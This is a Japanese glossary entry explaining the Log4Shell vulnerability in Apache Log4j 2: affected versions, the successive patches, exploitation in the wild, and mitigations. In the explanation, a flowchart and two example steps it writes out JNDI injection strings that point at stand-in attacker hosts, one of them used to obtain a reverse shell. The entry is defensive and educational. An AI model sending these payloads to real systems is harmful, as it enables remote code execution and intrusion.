Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 704

Log4Shell (CVE-2021-44228)

監修Cybersecurity entrepreneur & security researcher

Log4Shell (CVE-2021-44228) とは何ですか?

Log4Shell (CVE-2021-44228)2021 年 12 月に公表された Apache Log4j 2 の致命的なリモートコード実行脆弱性。JNDI ルックアップ文字列を 1 つログに記録させるだけで任意コードを実行できた。


Log4Shell は Apache Log4j 2(バージョン 2.0-beta9 〜 2.14.1)に存在する CVSS 10.0 の脆弱性で、Alibaba Cloud の Chen Zhaojun が Apache に報告し、2021 年 12 月 9 日に公開されました。Log4j のメッセージルックアップ機能はログ文字列内の ${...} 式を評価しており、${jndi:ldap://attacker/x} という値は JVM に JNDI ルックアップを行わせ、リモートの Java クラスを取得してデシリアライズさせる——すなわちリモートコード実行をもたらしました。Log4j は無数の Java アプリやアプライアンスに同梱されているため、ログに到達する攻撃者制御の値(User-Agent、検索ボックス、ファイル名、果ては iPhone のデバイス名まで)が引き金となりました。

パッチ適用は多段階の混乱を伴いました。2.15.0 はルックアップを無効化したものの不完全(CVE-2021-45046)で、2.16.0 はメッセージルックアップを削除、2.17.0 は DoS(CVE-2021-45105)を修正、2.17.1 は CVE-2021-44832 に対処しました——これが Java 8 向けの推奨修正リリースです。大規模な悪用は数時間以内に始まり、CISA は KEV カタログに追加し、ランサムウェア集団や米国ネットワークへの侵入の背後にいるイランの国家攻撃者によって悪用されました。防御策としては、2.17.1 以降(古い Java では 2.12.4 / 2.3.2)へのアップグレード、log4j2.formatMsgNoLookups=true の設定、JndiLookup クラスの削除、外向きの LDAP/RMI 通信のブロック、SBOM を用いて組み込まれたすべてのコピーを特定することが挙げられます。

flowchart TD
  A[攻撃者] -->|"入力: ${jndi:ldap://evil/x}"| B[Java アプリが文字列をログ記録]
  B --> C[Log4j がルックアップを評価]
  C --> D[攻撃者の LDAP サーバーへ JNDI 問い合わせ]
  D --> E[サーバーが悪意ある Java クラスの URL を返す]
  E --> F[JVM がクラスをダウンロード & デシリアライズ]
  F --> G[リモートコード実行]

  1. 01

    Java Web アプリへ User-Agent: ${jndi:ldap://attacker.com/x} を送り、リバースシェルを取得する。

  2. 02

    ユーザー名フィールドに入力した悪意ある値をログに記録させ、内部 Java サービスを侵害する。

よくある質問

Log4Shell (CVE-2021-44228) とは何ですか?

2021 年 12 月に公表された Apache Log4j 2 の致命的なリモートコード実行脆弱性。JNDI ルックアップ文字列を 1 つログに記録させるだけで任意コードを実行できた。 サイバーセキュリティの 脆弱性 カテゴリに属します。

Log4Shell (CVE-2021-44228) とはどういう意味ですか?

2021 年 12 月に公表された Apache Log4j 2 の致命的なリモートコード実行脆弱性。JNDI ルックアップ文字列を 1 つログに記録させるだけで任意コードを実行できた。

Log4Shell (CVE-2021-44228) からどのように防御しますか?

Log4Shell (CVE-2021-44228) に対する防御は通常、上記の定義で述べたとおり、技術的統制と運用上の実践を組み合わせます。

Log4Shell (CVE-2021-44228) の別名は何ですか?

一般的な別名: CVE-2021-44228, Log4j 脆弱性。

関連用語

関連項目